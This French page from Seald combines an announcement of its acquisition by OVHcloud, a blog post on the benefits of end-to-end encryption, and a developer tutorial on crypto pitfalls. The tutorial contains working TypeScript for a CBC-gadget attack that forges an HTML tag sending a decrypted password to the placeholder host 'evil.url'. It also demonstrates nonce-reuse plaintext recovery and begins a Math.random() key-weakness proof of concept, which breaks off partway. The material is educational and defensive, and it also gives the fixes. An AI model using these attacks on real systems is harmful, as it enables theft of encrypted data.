Vous pouvez lire l'annonce officielle sur la newsroom d'OVHcloud.

Ce que cela signifie pour notre Technologie

La technologie de chiffrement de Seald sera intégrée à l'offre Public Cloud Infrastructure (PCI) d'OVHcloud sous un nouveau nom : OVHcloud End-to-End Encryption (E2EE). Cette intégration représente l'évolution naturelle de notre solution, combinant les capacités de chiffrement éprouvées de Seald avec l'infrastructure de classe mondiale d'OVHcloud.

Une transition en douceur pour nos clients

Pour nos clients existants hors des États-Unis, nous tenons à vous rassurer : votre service continuera sans interruption. Vous serez migrés vers OVHcloud E2EE, qui repose sur la même technologie Seald à laquelle vous faites déjà confiance. Cette transition sera gérée avec soin afin d'assurer la continuité et l'absence totale de perturbation de vos opérations.

En rejoignant OVHcloud, notre service de chiffrement bénéficiera de ressources considérablement accrues, ce qui nous permettra d'offrir :

• Une fiabilité renforcée grâce à la solide infrastructure mondiale d'OVHcloud.
• Une résilience améliorée grâce à une redondance de niveau entreprise.
• Un meilleur support grâce aux équipes dédiées d'OVHcloud.
• Une innovation continue grâce à des investissements accrus en R&D.

Remarque à l'attention de nos clients américains

Jusqu'à présent, Seald fournissait ses services à tous ses clients dans le monde entier de la même manière, quel que soit leur emplacement géographique.

Nous avons décidé de modifier le modèle opérationnel de Seald aux États-Unis, conformément à toutes les réglementations applicables. En conséquence, les activités de Seald aux États-Unis ont été suspendues pendant cette période de transition. Nous comprenons que cela puisse être frustrant pour nos clients américains, et nous tenons à vous informer que nous travaillons activement à rendre OVHcloud E2EE disponible sur le marché américain par les canaux appropriés dès que possible. Nous vous tiendrons informés de toute évolution.

Déjà disponible en version Alpha

Nous sommes ravis de vous annoncer que le chiffrement de bout en bout OVHcloud est déjà disponible en version alpha ! Si vous souhaitez découvrir cette nouvelle solution et avoir un aperçu de ce qui vous attend, vous pouvez vous inscrire via OVHcloud Labs. Pour l'instant, il s'agit simplement d'un environnement de test rebaptisé, mais des changements progressifs vont être apportés. Vos commentaires pendant cette phase seront précieux pour façonner le produit final.

Perspectives d'avenir

Cette acquisition reflète une vision commune entre Seald et OVHcloud : la souveraineté et la sécurité des données doivent être au cœur de chaque service cloud. Ensemble, nous sommes mieux placés que jamais pour tenir cette promesse.

Nous sommes profondément reconnaissants de la confiance que nos clients nous ont accordée au fil des ans. Alors que nous nous engageons dans cette nouvelle aventure avec OVHcloud, nous restons déterminés à vous fournir le plus haut niveau de chiffrement et de protection des données.

Restez à l'écoute pour plus d'informations sur le déploiement du chiffrement de bout en bout d'OVHcloud.

L'équipe Seald

Mais avant de se plonger dans les 8 avantages que procure le chiffrement de bout-en-bout, il est nécessaire de comprendre le problème auquel cette technologie peut répondre 🧐.

Prenons l’exemple d’une application de messagerie “classique” non chiffrée de bout-en-bout :

Lors de la transmission d’un message, l’expéditeur va envoyer son message au serveur de l’application, et ce serveur va ensuite le retransmettre au destinataire qui pourra le lire. Dans ce modèle très courant, du chiffrement est utilisé entre l’expéditeur et le serveur, puis entre le serveur et le destinataire (du TLS), mais le serveur qui ne fait rien de plus que relai peut techniquement tout lire 👀.

Ainsi, si un administrateur système (qui a accès aux serveurs) était malveillant ou piraté, ou que l’application avait une faille permettant à un attaquant de prendre le contrôle du serveur, il y aurait une fuite de données potentiellement massive.

L’objectif du chiffrement de bout-en-bout est précisément de résoudre ce problème à la racine en ne laissant pas cette capacité au serveur de tout lire entre expéditeurs et destinataires : le message reste chiffré depuis d’un bout (l’expéditeur) à l’autre (le destinataire), sans jamais être déchiffré entre les deux points, d’où son nom 🔒.

La plupart des applications de messagerie ont intégré cette technologie pour assurer ce plus haut niveau de confidentialité sur les messages, comme Signal, iMessage, Whatsapp, Telegram (pas par défaut).

Avantage 1 : une confidentialité accrue

Le chiffrement de bout-en-bout est une méthode de sécurisation de l'information où seuls l'expéditeur et le destinataire de la communication sont capables de déchiffrer et d'accéder au contenu des données.

En d'autres termes, les données sont chiffrées sur l'appareil de l'expéditeur et ne sont déchiffrées qu'une fois arrivées sur l'appareil du destinataire.

Pendant le transit, que ce soit sur les serveurs intermédiaires, les réseaux ou tout autre point de passage, les données restent chiffrées et est donc inaccessibles aux tiers, y compris aux fournisseurs de services qui facilitent la transmission du message.

En 2022, Elon musk parlait d’intégrer du chiffrement de bout-en-bout dans la messagerie de Twitter. Il avait d’ailleurs affirmé : “Je ne devrais pas pouvoir consulter les messages privés de qui que ce soit, même si quelqu'un me mettait un pistolet sur la tempe” 😅🔫 ou encore "Les messages privés de Twitter devraient être chiffrés de bout-en-bout comme sur Signal, afin que personne ne puisse espionner ou pirater vos messages".

Avantage 2 : une protection contre les fuites de données

Dans le cas où un serveur contenant des données chiffrées de bout-en-bout est compromis, ces données resteraient inexploitables pour l’attaquant.

C'est probablement la raison majeure poussant les entreprises à adopter le chiffrement de bout-en-bout : se prémunir des fuites de données. Il est essentiel de comprendre que si une personne malveillante arrive à s’introduire dans un serveur, ne contenant que des données chiffrées, techniquement aucune donnée n'est exfiltrée si on peut garantir que la clé n'est pas volée avec. Cela n'engendre donc pas de notification de fuite aux personnes concernées du point de vue du RGPD. L’intrusion n’ayant eu aucun impact, c’est comme si rien n’était arrivé 💪.

Aujourd’hui des entreprises comme Recare ont intégré du chiffrement de bout-en-bout, pour garantir que seuls les professionnels de santé puissent accéder aux données (pas même Recare ou son hébergeur), mais aussi empêcher les données d'êtres volées même en cas d’intrusion dans les serveurs de Recare.

Avantage 3 : une réduction des risques d'espionnage

Le chiffrement de bout-en-bout empêche les acteurs malveillants, les gouvernements et même les fournisseurs de services de surveiller ou d'accéder aux communications.

Cela semble évident à première vue, mais si une solution ne peut accéder aux données de ses utilisateurs, elle ne peut rien transmettre à personne. Big brother can't watch you 👀.

Sur ce point, il est important de souligner que le CLOUD Act, instauré en 2018, amende le Stored Communications Act pour qu'il s'applique au-delà des frontières américaines.

De ce fait, les tribunaux américains ont le droit d'ordonner aux prestataires de Cloud Americains (même si les données sont stockées à l'étranger, comme en France) de leur fournir l'intégralité des données d'une personne, sans solliciter l'approbation judiciaire du pays où l'individu ou les données se trouvent.

En clair, si des données sont stockées sur des serveurs tels qu'AWS ou GCP, les États-Unis peuvent légalement y accéder, même si les serveurs sont physiquement en France.

L'ajout du chiffrement de bout-en-bout à une solution utilisant des serveurs américains rendrait les données sur ces serveurs inaccessibles, évitant ainsi toute surveillance ❌.

C'est d'ailleurs un des mécanismes de sécurité complémentaires recommandé par l'European Data Protection Board pour sous-traiter des données aux États-Unis (la CNIL européenne) quand le Privacy Shield avait été invalidé.

Avantage 4 : l’intégrité des données

Le chiffrement de bout-en-bout garantit que les données n'ont pas été altérées pendant le transfert, car toute modification des données chiffrées rendrait le message indéchiffrable.

Cependant… attention !

Nous avons observé plusieurs erreurs courantes commises par des développeurs lors de l'intégration du chiffrement de bout-en-bout, mettant en péril l'intégrité de l'information 🔓.

Il s'agit par exemple de l'utilisation de l'AES-CBC sans HMAC-SHA256. Si cela vous parle, vous pouvez consultez notre article : "Les 3 erreurs courantes quand on implémente du chiffrement de bout-en-bout".

Avantage 5 : une protection contre les demandes gouvernementales

Aux États-Unis, depuis le 24 juin 2022, la Cour Suprême a révoqué le droit constitutionnel des femmes américaines à avorter. Cela a permis à chaque état de définir sa législation en la matière, et c’est donc une dizaine d’Etats (dont le Nebraska) qui ont interdit l’avortement. Concrètement, une femme qui avorte peut désormais être poursuivie pour meurtre 🤬.

En 2022, dans le Nebraska, une fille échange avec sa mère sur Messenger sur la façon de mettre fin à sa grossesse non désirée. À ce moment-là, il n’y a pas de chiffrement de bout-en-bout dans Messenger.

La mère parvient à se procurer des pilules abortives en les achetant sur le Web et les donne à sa fille pour qu’elle mette fin à sa grossesse non désirée.

Un signalement à la police plus tard…. Meta (l’entreprise qui développe Messenger) reçoit un mandat des forces de l’ordre demandant des données que la plateforme possédait sur la mère et sa fille. Meta n’ayant pas le choix a dû donner les échanges en question.

La fille a été condamnée à trois mois de prison pour avoir procédé à un avortement. Sa mère, quant à elle, a écopé de deux ans de prison pour avoir assisté sa fille dans cette démarche.

Avec du chiffrement de bout-en-bout, Meta n’aurait pas pu fournir les données de Messenger au gouvernement, car elle-même n’aurait pas eu le moyen d’accéder aux données 👌. Meta a bien compris l’importance de cette technologie, en annonçant que Messenger sera bientôt chiffré de bout-en-bout par défaut.

Avantage 6 : une confiance accrue des utilisateurs

Savoir que ses données sont vraiment sécurisées grâce au chiffrement de bout-en-bout, renforce la confiance des utilisateurs dans un service ou une application.

En juin 2020, Doctolib a intégré du chiffrement de bout-en-bout pour sécuriser les documents partagés entre les médecins et leurs patients. Ainsi, Doctolib ne peut en aucun cas accéder aux informations sensibles de ses utilisateurs. Cette initiative renforce la confiance des utilisateurs, sachant que leurs données médicales ne sont partagées qu'entre leur médecin et eux-mêmes. Le serment d'Hippocrate est bien gardé 👩‍⚕️🤫.

Avantage 7 : améliorer sa mise en conformité

Un nombre croissant de règlementations imposent ou recommandent du chiffrement de bout-en-bout.

Le RGPD impose une protection accrue des données à caractère personnel notamment par du chiffrement à l'état de l'art et une minimisation des données stockées. Selon certaines interprétations de DPO, cela constitue une obligation d'implémenter du chiffrement de bout-en-bout dans certains cas ⚠️. Ce pré-requis est donc de plus en plus présent dans des appels d'offre notamment dans le domaine médical : en Allemagne pour des logiciels de gestion de lits d'aval pour les hopitaux, en Belgique pour des logiciels de téléconsultation ou en France pour des cabines de téléconsultations par exemple.

On peut également citer l'ITAR qui s'applique à tous les sous-traitants de l'armée américaine (ce qui recouvre énormément d'entrprises dans le monde) qui permet d'utiliser du Cloud sur des données sensibles dès lors qu'elles sont chiffrées de bout-en-bout (§ 120.54 (a) (5) (ii)).

Enfin, on peut citer NIS2 qui va rentrer en vigueur au deuxième semestre 2024 et qui s'appliquera à toutes les entités critiques européennes et leurs sous-traitants et qui stipule dans son considérant 98:

"L’utilisation du chiffrement, notamment du chiffrement de bout en bout, devrait si nécessaire être imposée aux fournisseurs de réseaux publics de communications électroniques ou de services de communications électroniques accessibles au public, conformément aux principes de sécurité et de respect de la vie privée par défaut et dès la conception aux fins de la présente directive"

Avantage 8 : le droit à la vie privée

Dans un monde où nos communications peuvent être surveillées ou interceptées, le chiffrement de bout-en-bout garantit que nos conversations confidentielles demeurent réellement confidentielles.

Face à la mention de l'importance du chiffrement, nombreux sont ceux qui rétorquent : "Pourquoi en aurais-je besoin ? Je n'ai rien à cacher !"

Cette réaction suggère que seules les personnes cachant des choses ou menant des activités illicites pourraient avoir besoin du chiffrement. Est-ce vraiment le bon raisonnement ? 🕵️‍♂️

Posez donc à ces mêmes personnes la question de vous confier leur code de carte bleue, de leurs identifiants en ligne, de leur historique médical et vous verrez qu'elles saisiront soudainement la valeur du chiffrement comme garant de leur vie privée.

“Prétendre que votre droit à une sphère privée n’est pas important parce que vous n’avez rien à cacher n’est rien d’autre que de dire que la liberté d’expression n’est pas essentielle, car vous n’avez rien à dire.” Edward Snowden

Certains projets (même très connus) dans lesquels les développeurs, forts de leur cours de Crypto 101, ont implémenté du chiffrement qui s'avère rarement être un mécanisme robuste. Faire du chiffrement ne se résume malheureusement pas à utiliser AES et avoir une fonction decrypt qui rend le bon résultat 🧐.

Voici donc quelques exemples de mécanismes cryptographiques qui présentent des failles de sécurité, mais qui peuvent sembler ne pas en avoir pour un développeur non spécialiste du chiffrement.

• Intégrité du chiffrement : comment exfiltrer des données chiffrées avec AES-CBC ? Comment s'en prémunir ?
• Génération des IV : différence entre des IVs et des nonces, et les conséquences pratiques sur AES-CTR et AES-GCM.
• Générateur d'aléa : pourquoi il ne faut surtout pas utiliser Math.random() pour chiffrer ? Démonstration d'un exploit pour décrypter des messages dont la clé a été générée avec Math.random().

Intégrité du chiffrement

En intégrant un algorithme de chiffrement symétrique, l'objectif du développeur est d'assurer la confidentialité du message chiffré 🔒 : la garantie que seuls les détenteurs de la clé pourront accéder au contenu en clair, et cela semble suffire.

Est-ce réellement le cas ?

AES-CBC

C'est par exemple le cas d'AES-CBC qui est un algorithme robuste très couramment utilisé.

Voici un exemple d'implémentation en Node.js:

export const encrypt = (message: Buffer, key: Buffer): Buffer => {
    const iv = randomBytes(16)
    const cipher: Cipher = createCipheriv('aes-256-cbc', key, iv)
    return Buffer.concat([iv, cipher.update(message), cipher.final()])
}

export const decrypt = (encryptedData: Buffer, key: Buffer): Buffer => {
    const iv: Buffer = encryptedData.subarray(0, 16)
    const ciphertext: Buffer = encryptedData.subarray(16)
    const decipher: Decipher = createDecipheriv('aes-256-cbc', key, iv)
    return Buffer.concat([decipher.update(ciphertext), decipher.final()])
}

Alice chiffre le message 'Your password is:Se@ld-i5-great' à Bob avec une clé key établie (magiquement) à l'avance, et Bob le déchiffre :

// Clé symétrique de 32 bytes partagée entre Alice et Bob
const key: Buffer = Buffer.from('4b00c9504d4b76bd913ecd27df90305fa3201e0e15e4e61023782ad0867660de', 'hex') 
// Message sous forme de Buffer
const message: Buffer = Buffer.from('Your password is:Se@ld-i5-great', 'utf8')

// Message chiffré par Alice
const encryptedMessage = encrypt(message, key)
console.log(encryptedMessage.toString('hex')
// > 144c57a662562f474212b72c2a5765d4a882ffd3459adb1bb07e48fc62d2f3db68618a9e4d61022ddb29e36c22039fb7

console.log(decrypt(encryptedMessage, key).toString('utf8'))
// > Your password is:Se@ld-i5-great

Le déchiffrement fonctionne, parfait, n'est-ce pas ?

Les CBC gadgets

Le problème est que certes la confidentialité est garantie par AES-CBC, mais AES-CBC est dit malléable. Cela veut dire qu'un attaquant peut modifier le message chiffré encryptedData sans que le destinataire ne s'en aperçoive, et cela peut conduire à une exfiltration de données ⚠️.

Dans notre exemple, le résultat du chiffrement contient 3 blocs: IV, c0 et c1:

Si l'attaquant connait les 16 premiers bytes du message (dans notre exemple, il est raisonnable de penser que Your password is est préfixé devant tous les messages de ce type), il peut alors injecter des blocs choisis (g0 et g1) dans le message en clair de la façon suivante:

• construire x0 = IV ^ p0 ^ g0.
• construire x1 = IV ^ p0 ^ g1.
• forger le message en concaténant x0, c0, x1, c0 et c1.

Quand Bob va déchiffrer le message modifié, cela va donner g0, un bloc de bytes non maitrisés, g1 et p1 (qui contient le mot de passe).

Et s'il se trouve que Bob le déchiffre dans un interpréteur HTML (client mail ou navigateur), l'attaquant n'a qu'à transformer le message en une balise HTML <img src="... />:

Pour modifier un tel message chiffré, définissons la fonction suivante:

export const injectGadget = (encryptedData: Buffer, p0: Buffer, g0: Buffer, g1: Buffer): Buffer => {
    const iv: Buffer = encryptedData.subarray(0, 16)
    const c0: Buffer = encryptedData.subarray(16, 32) // contient 'Your password is' chiffré
    const c1: Buffer = encryptedData.subarray(32) // contient le mot de passe chiffré
    
    const x: Buffer = xor(iv, p0) // bloc canonique (que des 0 si déchiffré)

    const x0: Buffer = xor(x, g0)
    const x1: Buffer = xor(x, g1)

    return Buffer.concat([
        x0, // IV forgé
        c0, // bloc forgé déchiffré en g0
        x1, // bloc forgé qui fait le lien, et qui sera déchiffré en des bytes non maitrisés
        c0, // bloc forgé déchiffré en g1
        c1  // 2nd bloc initial contenant les données à exfiltrer
    ])
}

Et elle est utilisée de la façon suivante :

// L'attaquant intercepte `encryptedMessage`et injecte g0 et g1 en connaissant le premier bloc p0
const maliciousMessage = injectGadget(encryptedMessage, p0, g0, g1)

// Bob déchiffre naïvement le message, et l'affiche dans un lecteur HTML
const decryptedMessage = decrypt(maliciousMessage, key).toString('utf8')

// contient quelque chose du type : <img ignore= "**garbage**" src=evil.url/:Se@ld-i5-great
// ce qui exfiltre les données vers evil.url
console.log('decryptedMessage:', decryptedMessage)
// >  <img ignore= " '�va��U���J� " src=evil.url/:Se@ld-i5-great

Dans ce cas, Bob déchiffrerait le message modifié en <img ignore= " '�va��U���J� " src=evil.url/:Se@ld-i5-great, ce qui exfiltrerait le mot de passe vers evil.url.

Adjonction d'un MAC

La bonne façon de chiffrer avec AES-CBC est d'y adjoindre ce qui s'appelle un Message Authentication Code assurant l'intégrité du message chiffré. Un MAC est une sorte de somme de contrôle calculée sur le message avec une clé secrète partagée. Si ce MAC ne correspond pas au déchiffrement, c'est que le message a été altéré avant d'arriver 🔓.

Cela permet de faire ce qui s'appelle un chiffrement symétrique intègre (appelé en anglais "authenticated encryption") par composition.

Pour ajouter un MAC sur notre chiffrement AES-CBC existant, il suffit de définir une fonction appendMac qui calcule et ajoute le MAC, et une autre checkMacThenReturnPayload qui vérifie le MAC et émet une erreur si le MAC est incorrect :

export const appendMac = (payload: Buffer, keyMac: Buffer): Buffer => {
    const hmac: Hmac = createHmac('sha256', keyMac)
    hmac.update(payload)
    return Buffer.concat([payload, hmac.digest()]) // on concatène le MAC à la fin
}

export const checkMacThenReturnPayload = (encryptedData: Buffer, keyMac: Buffer): Buffer => {
    const payload: Buffer = encryptedData.subarray(0, -32) // on récupère le MAC à la fin
    const mac: Buffer = encryptedData.subarray(-32)
    const hmac: Hmac = createHmac('sha256', keyMac)
    hmac.update(payload)
    const mac2 = hmac.digest()

    if (!mac.equals(mac2)) throw new Error('MAC invalid') // on vérifie qu'il est égal en le recalculant, sinon on throw une erreur pour ne pas déchiffrer

    return payload
}

Pour le combiner aux fonctions de chiffrement AES-CBC existantes, il suffit de les composer. Voici comment l'attaque par injection de CBC gadgets décrite ci-dessus est contrecarrée par ce mécanisme :

// Alice et Bob doivent utiliser deux clés distinctes pour le chiffrement et le MAC
const keyEnc: Buffer = Buffer.from('4b00c9504d4b76bd913ecd27df90305fa3201e0e15e4e61023782ad0867660de', 'hex')
const keyMAC: Buffer = Buffer.from('8c2b1a612c99f7ede90d25b544812ea19b3626db5f71b5073d4ade922be21f9a', 'hex') 

// Alice chiffre le message avec AES-CBC comme précédemment
const encryptedMessage = encrypt(message, keyEnc)
console.log(encryptedMessage.toString('hex'))
// > f7686df4fe1bd9177ab5b6a9b9f17e5786e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa

// Alice ajoute le MAC calculé avec l'autre clé
const encryptedMessageWithMac = appendMac(encryptedMessage, keyMac)
console.log(encryptedMessageWithMac.toString('hex'))
// > f7686df4fe1bd9177ab5b6a9b9f17e5786e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa508348ae876c868858b2be2908392eeb322a2fe396770790a3438b29757d67fc

// L'attaquant tente la même attaque en injectant un CBC gadget
const maliciousMessage = injectGadget(encryptedMessageWithMac, firstBlock, gagdet0, gadget1)
console.log(maliciousMessage.toString('hex'))
// > 8e3b71ebb94bd10367adabbee0f1350486e0c610837fe694ac1182aad1d70fa78e2538f5ac0885017fabb5f5a8a37b0b86e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa508348ae876c868858b2be2908392eeb322a2fe396770790a3438b29757d67fc

// Bob vérifie le MAC avant de déchiffrer
const checkedEncryptedMessage = checkMacThenReturnPayload(maliciousMessage, keyMac)
// > Error: MAC invalid

En revanche, si Bob tente de déchiffrer le véritable message :

const checkedEncryptedMessage = checkMacThenReturnPayload(encryptedMessageWithMac, keyMac)
const decryptedMessage = decrypt(checkedEncryptedMessage, keyEnc).toString('utf8')
console.log(decryptedMessage)
// > Your password is:Se@ld-i5-great

Conclusion

Cette attaque semble théorique uniquement, mais, en réalité, cet exemple est largement inspiré d'une vulnérabilité bien concrète appelée efail.de qui étaient présente dans les modules de déchiffrement S/MIME et PGP qui ne vérifiaient pas le MAC (bien qu'il y en avait un), et dont les premiers bytes sont toujours Content-type: multipart-signed... 😔

En résumé, il faut toujours adjoindre un MAC (calculé avec une clé distincte) aux algorithmes de chiffrement symétriques non intègres, sauf si l'intégrité est assurée par un autre moyen, et le vérifier avant le déchiffrement.

L'exemple complet est disponible sur Github.

Génération des IV

Pour certains algorithmes de chiffrement, les IV (Initialization Vector) doivent être aléatoires, c'est le cas d'AES-CBC, et pour d'autres, ils doivent être uniques c'est le cas d'AES-CTR, AES-GCM ou ChaCha20. Ils sont d'ailleurs appelés "nonce" dans le cas où l'unicité est la propriété recherchée et non IV.

Différence entre unique et aléatoire

La différence semble dérisoire, intuitivement chaucn peut se dire que la probabilité que deux IV aléatoires de 16 bytes soient identiques est ridicule, et pourtant utiliser un générateur aléatoire d'IV lors des IV uniques sont requis conduit à une vulnérabilité.

Pour le comprendre, prenez l'analogie suivante : imaginez que vous deviez assigner un numéro unique à chaque enfant d'une salle de classe. Une possibilité est de les numéroter avec un compteur, mais quelle autre option y-a-t-i ? Une idée pourrait être de prendre leur anniversaire et de le convertir en un nombre entre 1 et 365. Par exemple, le 2 février serait le numéro 33 🗓️.

Il n'y a évidemment pas de garantie que tous les enfants auront un anniversaire différent et donc un numéro différent avec cet algorithme. Pire, il y a une probabilité supérieure à 50% qu'il y ait une collision dès lors que le nombre d'enfants est supérieur à 23 dans la classe ! Il s'agit du paradoxe des anniversaires.

Aléatoire ne veut donc pas dire unique, d'accord, mais quelle est la conséquence concrète ? 🕵️‍♂️

Réutilisation d'un nonce avec AES-CTR

C'est là que l'analogie s'arrête. Il faut désormais se plonger dans AES-CTR pour voir l'impact de la réutilisation d'un nonce.

AES-CTR est un stream cipher, ce qui veut dire qu'il génère un key stream à partir d'un nonce et de la clé. C'est ce key stream qui sera utilisé pour chiffrer et déchiffrer avec un XOR.

Ainsi, si le même nonce est utilisé deux fois avec la même clé, cela veut dire que le même keyStream est généré deux fois pour chiffrer deux messages m1 et m2 distincts. En pseudo-code cela donne la chose suivante :

// XOR est noté ^
E(m1) = keyStream ^ m1
E(m2) = keyStream ^ m2
E(m1) ^ E(m2)
= keyStream ^ m1 ^ keyStream ^ m2
= m1 ^ keyStream ^ keyStream ^ m2
= m1 ^ 0 ^ m2
= m1 ^ m2
// cela veut dire que XORer les messages chiffrés est équivalent à XORer les messages en clair

Le cas d'école est quand les messages font la même taille et qu'ils sont vides chacun sur une moitié différente:

Pour reproduire ce cas d'école, il suffite de définir deux messages de même taille, de les padder, de les chiffrer, et de faire un XOR du résultat de l'un avec l'autre :

// construisons deux messages de taille identique
const message1 = Buffer.from('here is one half of the message,')
const message2 = Buffer.from('and here is the other half of it')

// paddons les de 0 à droite pour le premier, à gauche pour le deuxième en doublant leur taille
const paddedMessage1 = Buffer.concat([message1, Buffer.alloc(message2.length)])
const paddedMessage2 = Buffer.concat([Buffer.alloc(message1.length), message2])

const encryptedMessage1 = encryptCTR(nonce, paddedMessage1, key)
const encryptedMessage2 = encryptCTR(nonce, paddedMessage2, key)

// on enlève les 16 premiers bytes qui contiennent le nonce uniquement
const xorResult = xor(encryptedMessage1.subarray(16), encryptedMessage2.subarray(16))
console.log(xorResult.toString('utf8'))
// > here is one half of the message,and here is the other half of it

Le code complet de cet exemple est disponible sur Github.

Par ailleurs, détail parfois négligé sur AES-CTR, le nonce doit être distinct pour chaque bloc de 16 bytes et non pour chaque chiffrement. Si le message dépasse 16 bytes, AES-CTR utilise le nonce comme un compteur (d'où le nom "CTR" pour COUNTER) et l'incrémente à chaque bloc d'AES. Un développeur qui compterait les chiffrements et non les blocs d'AES réutiliserait donc sans s'en rendre compte des nonces dès lors que les messages dépassent 16 bytes 🤯.

Réutilisation d'un nonce avec AES-GCM

Dans le cas d'AES-GCM, c'est un mode qui utilise AES-CTR pour le chiffrement et GMAC pour l'intégrité.

Il est donc, d'une part, vulnérable à la même attaque que celle décrite ci-dessus. D'autre part, si un nonce est réutilisé, l'attaquant peut récupérer la clé dérivée par AES-GCM qui est utilisée pour calculer le GMAC, et donc forger des MAC à volonté, ce qui brise la garantie d'intégrité pour l'ensemble des messages chiffrés avec la clé.

L'attaque a été décrite par Antoine Joux de la DGA pour la première fois 🛡️. Son implémentation étant assez lourde, le lecteur averti pourra écrire un PoC lui-même, cela fait l'objet du challenge 64 de Cryptopals.

D'ailleurs, deux autres détails sur les nonces dans AES-GCM peuvent poser un problème :

• utiliser un nonce de 16 bytes avec AES-GCM pose problème : des nonces de 12 bytes sont utilisés et non de 16 bytes comme pour la plupart des autres modes d'AES. Pourtant, en utilisant un nonce de 16 bytes, aucune erreur ne se produira.
  
  Ce qu'il se passe dans ce cas est que le nonce est retraité avec un hash pour obtenir un nonce de 12 bytes. Cela est problématique parce que la garantie d'unicité que le développeur se serait efforcé d'avoir sur le nonce de 16 bytes ne serait pas conservée par hachage. Cela revient alors à utiliser un nonce aléatoire plutôt qu'unique.
  
• il n'est pas possible de chiffrer plus de 64Go de données avec AES-GCM : AES-GCM utilise un compteur de 4 bytes pour générer des nonces pour AES-CTR, il ne peut donc chiffrer plus de 4 milliards de blocs (2^32), soit 64Go.

Estimation de la probabilité

"Mais la probabilité est hyper faible". Tout dépend de ce que chacun appelle "faible", selon le NIST, un nonce "suffisament unique" si la probabilité qu'il soit réutilisé ne dépasse pas 2^-32, soit une chance sur 4 milliards.

Dans le cas d'AES-GCM qui utilise des nonces de 12 bytes, le nombre d'utilisations possibles d'une clé est limité à 6 milliards de messages (en utilisant la formule d'estimation du paradoxe des anniversaires). Avec un compteur, comme cela est normalement fait, c'est 10^29 utilisations.

Dans le cas d'AES-CTR, c'est un peu plus compliqué car un nouveau nonce est nécessaire tous les 16 bytes, donc pour chaque nonce tiré, cela "condamne" ce nonce et les N suivants automatiquement utilisés par l'auto-incrément d'AES-CTR pour un message de N * 16 bytes.

Conclusion

Il est toujours mieux de générer les nonces d'AES-GCM, AES-CTR et ChaCha20 de façon déterministe avec un compteur plutôt que de les générer aléatoirement, ou pire de les hardcoder.

Générateur d'aléa

Pour finir en douceur, il y a l'irremplaçable Math.random utilisé à des fins cryptographiques. Les derniers en date sont Synology ou encore OnlyOffice.

PRNG vs CSPRNG

Un ordinateur n'est pas capable de générer des nombres véritablement aléatoires 🧐, il utilise de l'entropie produite par la machine et le système d'exploitation, et puis l'injecte comme seed dans un algorithme de Pseudo-Random Number Generator (PRNG). Il y en a deux types:

• des PRNG statistiques, c'est-à-dire que les nombres issus de ce générateur ont de très bonnes propriétés statistiques, mais sont parfaitement prévisibles, si vous connaissez le précédent, vous pouvez prédire le suivant et inversement. Un exemple est XorShift128+ utilisé dans Chrome, Node, Firefox, Safari pour fournir la fonction Math.random().
• des Cryptographically Safe PRNG (CSPRNG), c'est-à-dire que la connaissance de l'état du générateur ou des nombres générés précédemment ne doivent pas permettre à un attaquant de prédire les nombres suivants ou précédents.

Utiliser un PRNG statistique à des fins cryptographiques est donc catastrophique, pourtant Math.random() est encore utilisé dans de nombreux projets, ce qui laisse penser que leurs développeurs l'estiment suffisamment robuste, peut-être ont-ils l'impression qu'en ne sachant pas le casser eux-même, personne n'y arrivera...

L'article pourrait s'arrêter sur un simple rappel d'utiliser un CSPRNG comme celui fourni par le module crypto de Node ou de SubtleCrypto dans un navigateur. Mais il semble plus percutant de construire un véritable PoC de comment casser un chiffrement fait avec Math.random().

Utiliser un PRNG faible pour chiffrer

Tout d'abord, il faut construire une fonction weakRandomBytes qui produit autant de bytes "aléatoires" que demandés à partir de Math.random.

L'implémentation fut un peu plus complexe qu'anticipé: un nombre issu de Math.random() n'est pas directement un tableau d'octets, c'est un Number, qui n'est rien d'autre qu'un float encodé sur 64-bits. Mais dans ces 64-bits, tous ne sont pas utiles :

• 52 bits de mantissa: ce sont les bits qui comptent vraiment, et qui sont effectivement issus du PRNG de Math.random().
• 11 bits d'exposant: cela encode la puissance de 2 avec laquelle sont multipliés les bits de la mantissa, mais pour un Math.random(), cela est toujours entre 0 et 1, donc ces bits n'apportent pas d'entropie.
• 1 bit de signe: mais pour un Math.random(), c'est toujours positif, donc ce bit n'apporte pas d'entropie.

L'objectif est donc de concaténer, les uns à la suite des autres, les 52-bits de mantissa de nombres issus de Math.random(), et de s'arrêter quand il y a suffisamment de bytes. Pour encoder le tableau de Numbers en un tableau de bytes, une fonction d'encodage floatsToBytes est utilisée et accessible sur le repository GitHub du projet, mais elle n'apporte rien à l'explication. Pour le reste c'est assez simple :

let randomCache = Buffer.alloc(0)

const addBytesToRandomCache = (size: number) => {
    // On doit générer suffisamment de `Math.random` produisant chacun 52 bits de random
    // pour remplir `size` bytes
    const numRandom = Math.ceil(size * 8 / 52)
    const randoms = Array.from(Array(numRandom), Math.random)
    randomCache = Buffer.concat([randomCache, floatsToBytes(randoms)])
}

export const weakRandomBytes = (size: number) => {
    // Chaque génération de random produit plus de bits aléatoires que nécessaires dès lors que size n'est pas un multiple de 13 (PPCM de 52 et 8), on conserve donc l'excédent dans un cache, et on le réutilise au prochain appel
    const toGenerateLength = size - randomCache.length > 0 ? size - randomCache.length : 0
    addBytesToRandomCache(toGenerateLength)
    const result = randomCache.subarray(0, size)
    randomCache = randomCache.subarray(size)
    return result
}

À partir de cette fonction weakRandomBytes, il est alors possible de chiffrer quelques messages avec un AES-CBC et un HMAC-SHA256 (voir partie 1) de la façon suivante:

const keyEnc: Buffer = weakRandomBytes(32)
const keyMAC: Buffer = weakRandomBytes(32)

const message1: Buffer = Buffer.from('Your password is:Se@ld-i5-great', 'utf8')
const message2: Buffer = Buffer.from('This PRNG works! Amazing, no need to make a fuss around CSPRNG', 'utf8')

const encryptedMessage1 = encryptThenMac(message1, keyEnc, keyMAC, weakRandomBytes)
const encryptedMessage2 = encryptThenMac(message2, keyEnc, keyMAC, weakRandomBytes)
console.log('encryptedMessage1', encryptedMessage1.toString('hex'))
console.log('encryptedMessage2', encryptedMessage2.toString('hex'))
// > 955f8a310ca9dfd6e6eea23005a952b98f4169f3c8e2521f3df96e8fe9a1e3bf4a28550ea311e20710e91c917e0b6f5bc9f69791a5ef27f19d847e72105d318005aa85ed3fd91eede5c86a549ce6a545
